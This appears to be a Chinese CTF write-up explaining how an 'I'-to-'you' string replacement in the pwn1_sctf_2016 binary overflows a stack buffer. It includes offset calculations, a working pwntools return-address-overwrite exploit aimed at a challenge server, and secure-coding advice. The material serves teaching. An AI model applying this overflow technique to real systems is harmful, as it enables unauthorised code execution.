当前位置: 首页 > article >正文

别光看exp!深入理解pwn1_sctf_2016中C++字符串替换引发的栈溢出

从C字符串替换到栈溢出pwn1_sctf_2016漏洞的深层解析当我们在CTF比赛中遇到一个看似简单的栈溢出题目时往往会习惯性地寻找明显的缓冲区溢出点。但pwn1_sctf_2016这道题却巧妙地利用了C字符串处理的特性将简单的I替换为you操作转化为一个精妙的漏洞利用场景。本文将带你深入理解这个漏洞背后的机制而不仅仅是停留在exp的构造层面。1. 漏洞环境与初步分析首先让我们搭建分析环境并了解基本保护机制。题目提供的二进制文件是一个32位的ELF可执行文件使用checksec检查保护措施$ checksec pwn1_sctf_2016 [*] /tmp/pwn1_sctf_2016 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键保护措施分析NX enabled堆栈不可执行意味着我们不能直接在栈上执行shellcodeNo canary没有栈保护栈溢出是可能的No PIE代码段地址固定便于ROP链构造在IDA中反编译后我们能看到几个关键函数get_flag()直接调用system(cat flag.txt)main()简单地调用vuln()函数vuln()包含主要漏洞逻辑的函数2. C字符串处理机制剖析题目最核心的部分在于vuln()函数中的字符串处理逻辑。让我们先理解C的std::string实现机制。2.1 std::string的内存管理现代C中的std::string通常采用COWCopy-On-Write或SSOSmall String Optimization策略。在这个题目中我们看到如下关键代码片段std::string input; std::string replace_result; std::string to_replace(I); std::string replacement(you); // 用户输入读取到input fgets(buffer, 32, stdin); input buffer; // 执行替换操作 replace_result replace(input, to_replace, replacement); // 关键漏洞点 strcpy(buffer, replace_result.c_str());std::string在32位系统中的典型内存布局偏移量内容大小0长度/容量信息4B4数据指针/内联数据4B当字符串较短时可能直接存储在对象内部SSO较长时则在堆上分配内存。题目中使用的GCC版本可能采用如下内存策略字符串长度≤15字节使用SSO直接存储在对象内部字符串长度15字节在堆上分配内存2.2 Name Mangling与函数调用IDA中看到的奇怪函数名如__ZNSsC1EPKcRKSaIcE是C的名称修饰Name Mangling结果。这是因为C支持函数重载、命名空间等特性编译器需要将函数签名编码到名称中。使用cfilt工具可以解码这些名称$ cfilt __ZNSsC1EPKcRKSaIcE std::basic_stringchar, std::char_traitschar, std::allocatorchar ::basic_string(char const*, std::allocatorchar const)关键函数解析修饰名实际含义__ZNSsC1EPKcRKSaIcEstd::string的构造函数__ZNSsaSEPKcstd::string::operator(char const*)__ZNKSs5c_strEvstd::string::c_str()3. 漏洞触发机制详解3.1 替换操作的内存影响程序的核心逻辑是将输入中的I替换为you每个I会扩展为三倍大小。考虑以下输入IIIIIIIIIIAAAAAAAAAAAA经过替换后变为youyouyouyouyouyouyouyouyouyouAAAAAAAAAAAA栈布局变化分析阶段缓冲区内容大小总长度输入20字节20B替换后60字节60B3.2 栈布局与溢出路径让我们分析vuln()函数的栈布局s byte ptr -3Ch ; 60字节缓冲区 var_1C byte ptr -1Ch ; replace结果 var_18 byte ptr -18h ; you字符串 var_10 byte ptr -10h ; I字符串内存布局示意图--------------------- | 返回地址 (4B) | - ebp 4 --------------------- | 保存的ebp (4B) | - ebp --------------------- | 局部变量区 | | - s (60B) | - ebp - 0x3C | - 其他变量 | ---------------------关键溢出路径用户输入20个I20字节替换为20个you60字节strcpy将60字节数据复制回原始60字节缓冲区数据溢出覆盖返回地址3.3 精确计算偏移量为了精确控制返回地址我们需要计算填充量缓冲区起始ebp - 0x3C返回地址位置ebp 4需要填充的字节数0x3C 4 64字节因此payload结构应为[60字节填充] [4字节ebp] [4字节返回地址]4. 漏洞利用与ROP构造4.1 利用策略选择由于NX保护开启我们无法执行栈上的代码。但题目提供了get_flag函数可以直接返转到该地址.text:08048F0D get_flag proc near .text:08048F0D push ebp .text:08048F0E mov ebp, esp .text:08048F10 sub esp, 18h .text:08048F13 mov dword ptr [esp], offset command ; cat flag.txt .text:08048F1A call _system .text:08048F1F leave .text:08048F20 retn4.2 完整利用代码from pwn import * context(archi386, oslinux) # 本地测试 # p process(./pwn1_sctf_2016) # 远程连接 p remote(node4.buuoj.cn, 29982) # 构造payload payload bI*20 # 20个I将被替换为60字节的you payload bA*4 # 覆盖保存的ebp payload p32(0x08048F0D) # get_flag地址 p.sendline(payload) p.interactive()4.3 利用过程详解输入阶段发送20个I和4个A加上返回地址替换阶段程序将I替换为you扩展为60字节复制阶段strcpy将60字节数据复制回栈缓冲区溢出生效60字节填充4字节ebp覆盖4字节返回地址覆盖函数返回执行流跳转到get_flag5. 漏洞防御与安全编程5.1 漏洞根源分析这个漏洞的产生有多个层次的原因不安全的字符串替换未考虑替换后的长度增长危险的strcpy使用没有长度限制的字符串复制缺乏边界检查未验证替换后的字符串长度5.2 安全编程建议危险做法std::string input; char buffer[60]; // 未检查长度的替换 strcpy(buffer, input.c_str());安全改进方案使用长度受限的复制函数strncpy(buffer, input.c_str(), sizeof(buffer)-1); buffer[sizeof(buffer)-1] \0;替换前检查长度size_t new_length calculate_replaced_length(input); if(new_length sizeof(buffer)) { // 处理错误 }使用现代C特性std::arraychar, 60 buffer; std::string_view sv input; std::copy_n(sv.begin(), std::min(sv.size(), buffer.size()-1), buffer.begin()); buffer.back() \0;5.3 防御措施对比防御措施优点缺点strncpy简单易用不保证null终止snprintf格式化安全性能开销C容器类自动管理内存需要C环境自定义长度检查函数完全控制实现复杂度高在实际开发中最推荐的做法是使用现代C的容器和算法避免直接操作原始内存和C风格字符串。

相关文章:

别光看exp!深入理解pwn1_sctf_2016中C++字符串替换引发的栈溢出

从C字符串替换到栈溢出:pwn1_sctf_2016漏洞的深层解析 当我们在CTF比赛中遇到一个看似简单的栈溢出题目时,往往会习惯性地寻找明显的缓冲区溢出点。但pwn1_sctf_2016这道题却巧妙地利用了C字符串处理的特性,将简单的"I"替换为"…...

IRISMAN备份管理器:PlayStation 3游戏数据管理的架构创新与技术实现深度剖析

IRISMAN备份管理器:PlayStation 3游戏数据管理的架构创新与技术实现深度剖析 【免费下载链接】IRISMAN All-in-one backup manager for PlayStation3. Fork of Iris Manager. 项目地址: https://gitcode.com/gh_mirrors/ir/IRISMAN IRISMAN作为一款基于Iris …...

3分钟搞定电脑散热:FanControl让你告别风扇噪音与高温烦恼

3分钟搞定电脑散热:FanControl让你告别风扇噪音与高温烦恼 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trendin…...

intv_ai_mk11GPU利用率提升:通过温度/Top P协同调优降低冗余计算负载

intv_ai_mk11 GPU利用率提升:通过温度/Top P协同调优降低冗余计算负载 1. 模型概述与性能挑战 intv_ai_mk11是基于Llama架构的中等规模文本生成模型,擅长通用问答、文本改写和简短创作等任务。在实际部署中,我们发现当温度(Temperature)和T…...

显示器“刷新率”的实战选择指南

1. 刷新率的基础认知:从翻书动画到电竞屏 第一次接触"刷新率"这个概念时,我正对着两台显示器纠结不已。左边是标注着60Hz的普通办公屏,右边是144Hz的电竞显示器,价格相差三倍。销售员反复强调"高刷屏更流畅"&…...

怎样轻松永久保存微信聊天记录:3步完成完整数据备份

怎样轻松永久保存微信聊天记录:3步完成完整数据备份 【免费下载链接】WeChatMsg 提取微信聊天记录,将其导出成HTML、Word、CSV文档永久保存,对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we/WeChatM…...

扩散模型去雾新突破:Diff-Dehazer技术详解与效果对比(含RTTS实测)

扩散模型去雾新突破:Diff-Dehazer技术详解与效果对比(含RTTS实测) 清晨的浓雾笼罩着城市,高楼大厦在朦胧中若隐若现。对于计算机视觉系统而言,这样的场景却意味着巨大的挑战——目标检测准确率下降、图像分割边界模糊、…...

【Maxwell16.0】进阶实战:外电路负载与空载模型的动态切换技巧

1. Maxwell16.0外电路基础概念解析 刚接触Maxwell16.0的朋友可能会被"外电路"这个概念吓到,其实它就像给电机模型接上一个可编程的电源插座。我在第一次搭建外电路时也犯过迷糊,后来发现只要理解几个关键点就能轻松上手。 外电路的核心作用是替…...

深入Linux内核:看ARMv8架构下Cache对齐与Slab分配器如何联手提升性能

ARMv8架构下Cache对齐与Slab分配器的性能优化实践 在当今高性能计算领域,处理器与内存之间的速度差距已成为制约系统性能的主要瓶颈之一。ARMv8架构作为现代移动设备和服务器领域的主流架构,其Cache设计对系统性能有着决定性影响。本文将深入探讨Linux内…...

2026年跨平台B站资源管理终极指南:BiliTools哔哩哔哩工具箱

2026年跨平台B站资源管理终极指南:BiliTools哔哩哔哩工具箱 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …...

OpCore-Simplify:告别手动配置,15分钟搞定专业级黑苹果EFI

OpCore-Simplify:告别手动配置,15分钟搞定专业级黑苹果EFI 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 还在为复杂的OpenCo…...

终极指南:如何免费检测GPU显存稳定性问题

终极指南:如何免费检测GPU显存稳定性问题 【免费下载链接】memtest_vulkan Vulkan compute tool for testing video memory stability 项目地址: https://gitcode.com/gh_mirrors/me/memtest_vulkan 当游戏突然崩溃、渲染出现花屏、AI训练无故中断时&#xf…...

3分钟掌握FanControl:Windows风扇智能控制完全指南

3分钟掌握FanControl:Windows风扇智能控制完全指南 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/fa/Fa…...

3步诊断法:彻底优化ControlNet-v1-1_fp16_safetensors图像控制效果

3步诊断法:彻底优化ControlNet-v1-1_fp16_safetensors图像控制效果 【免费下载链接】ControlNet-v1-1_fp16_safetensors 项目地址: https://ai.gitcode.com/hf_mirrors/comfyanonymous/ControlNet-v1-1_fp16_safetensors ControlNet-v1-1_fp16_safetensors是…...

如何为ThinkPad T480安装macOS:OpenCore完整配置指南

如何为ThinkPad T480安装macOS:OpenCore完整配置指南 【免费下载链接】t480-oc 💻 Lenovo ThinkPad T480 / T580 / X280 Hackintosh (macOS Monterey 12.x - Sequoia 15.x) - OpenCore 项目地址: https://gitcode.com/gh_mirrors/t4/t480-oc 还在…...

5步掌握MRIcroGL医学影像可视化的核心用法

5步掌握MRIcroGL医学影像可视化的核心用法 【免费下载链接】MRIcroGL v1.2 GLSL volume rendering. Able to view NIfTI, DICOM, MGH, MHD, NRRD, AFNI format images. 项目地址: https://gitcode.com/gh_mirrors/mr/MRIcroGL MRIcroGL是一款专业的医学影像可视化工具&a…...

5步掌握BepInEx插件管理:从依赖混乱到和谐共存的完整指南

5步掌握BepInEx插件管理:从依赖混乱到和谐共存的完整指南 【免费下载链接】BepInEx Unity / XNA game patcher and plugin framework 项目地址: https://gitcode.com/GitHub_Trending/be/BepInEx BepInEx是Unity Mono、IL2CPP和.NET框架游戏的强大插件框架&a…...

我不是在用 AI 助手,我在把自己的能力沉淀成组织资产搜

1. 什么是 Apache SeaTunnel? Apache SeaTunnel 是一个非常易于使用、高性能、支持实时流式和离线批处理的海量数据集成平台。它的目标是解决常见的数据集成问题,如数据源多样性、同步场景复杂性以及资源消耗高的问题。 核心特性 丰富的数据源支持&#…...

2026年终极B站资源下载方案:BiliTools跨平台工具箱完整指南

2026年终极B站资源下载方案:BiliTools跨平台工具箱完整指南 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …...

SystemVerilog里static和automatic到底咋用?一个例子讲透,别再搞混了

SystemVerilog中static与automatic的实战指南:从误区到精通 引言 在数字芯片设计和验证领域,SystemVerilog作为行业标准语言,其static和automatic关键字的正确理解直接关系到代码质量与功能正确性。许多初学者在使用这两个关键字时常常陷入困…...

二分查找力扣题(leetcode)凑

一、语言特性:Java 26 与模式匹配进化 1.1 Java 26 语言级别支持 IDEA 2026.1 EAP 最引人注目的变化之一,就是新增 Java 26 语言级别支持。这意味着开发者可以提前体验和测试即将在 JDK 26 中正式发布的语言特性。 其中最重要的变化是对 JEP 530 的全面支…...

基于链式加载的Unity游戏插件架构设计与多运行时支持最佳实践

基于链式加载的Unity游戏插件架构设计与多运行时支持最佳实践 【免费下载链接】BepInEx Unity / XNA game patcher and plugin framework 项目地址: https://gitcode.com/GitHub_Trending/be/BepInEx BepInEx作为Unity Mono、IL2CPP和.NET框架游戏的插件与模组框架&…...

如何在移动设备上实现高效目标检测?MobileNet-SSD实战深度解析

如何在移动设备上实现高效目标检测?MobileNet-SSD实战深度解析 【免费下载链接】MobileNet-SSD Caffe implementation of Google MobileNet SSD detection network, with pretrained weights on VOC0712 and mAP0.727. 项目地址: https://gitcode.com/gh_mirrors/…...

Mac上免费实现NTFS完整读写的终极指南:告别跨平台文件传输障碍

Mac上免费实现NTFS完整读写的终极指南:告别跨平台文件传输障碍 【免费下载链接】Free-NTFS-for-Mac Nigate: An open-source NTFS utility for Mac. It supports all Mac models (Intel and Apple Silicon), providing full read-write access, mounting, and manag…...

Linux下objdump实战:从二进制文件到可读反汇编的进阶指南

1. 初识objdump:二进制世界的翻译官 第一次接触二进制文件分析时,我盯着hexdump输出的十六进制数字完全摸不着头脑。直到发现了objdump这个神器,它就像一位精通机器语言的翻译官,能把晦涩的二进制代码转换成我们能读懂的汇编指令…...

3个关键步骤:如何用XXMI启动器统一管理多款热门游戏模组

3个关键步骤:如何用XXMI启动器统一管理多款热门游戏模组 【免费下载链接】XXMI-Launcher Modding platform for GI, HSR, WW and ZZZ 项目地址: https://gitcode.com/gh_mirrors/xx/XXMI-Launcher 你是否曾经为不同游戏的模组管理感到头疼?每个游…...

Figma中文插件深度解析:如何实现设计工具的无缝本地化体验

Figma中文插件深度解析:如何实现设计工具的无缝本地化体验 【免费下载链接】figmaCN 中文 Figma 插件,设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 在当今全球化设计协作环境中,Figma作为领先的云端设计…...

和AI一起搞事情#:边剥龙虾边做个中医技能来起号盎

1. 核心概念 在 Antigravity 中,技能系统分为两层: Skills (全局库):实际的代码、脚本和指南,存储在系统级目录(如 ~/.gemini/antigravity/skills)。它们是“能力”的本体。 Workflows (项目级)&#xff1a…...

电子墨水屏启动器终极指南:让你的电纸书焕然一新的E-Ink Launcher

电子墨水屏启动器终极指南:让你的电纸书焕然一新的E-Ink Launcher 【免费下载链接】E-Ink-Launcher E-reader Launcher for Android, Electronic paper book... 项目地址: https://gitcode.com/gh_mirrors/ei/E-Ink-Launcher 还在为电纸书卡顿、续航短、界面…...

山姆会员店商品数据监测方案:低代码采集+自动翻页实战(京东版)

山姆会员店商品数据智能监测系统:低代码解决方案与实战策略 站在商超零售研究的第一线,我常常需要面对一个现实问题:如何持续追踪山姆这类会员制超市的价格波动和品类变化?传统的数据采集方式要么需要投入大量开发资源&#xff0c…...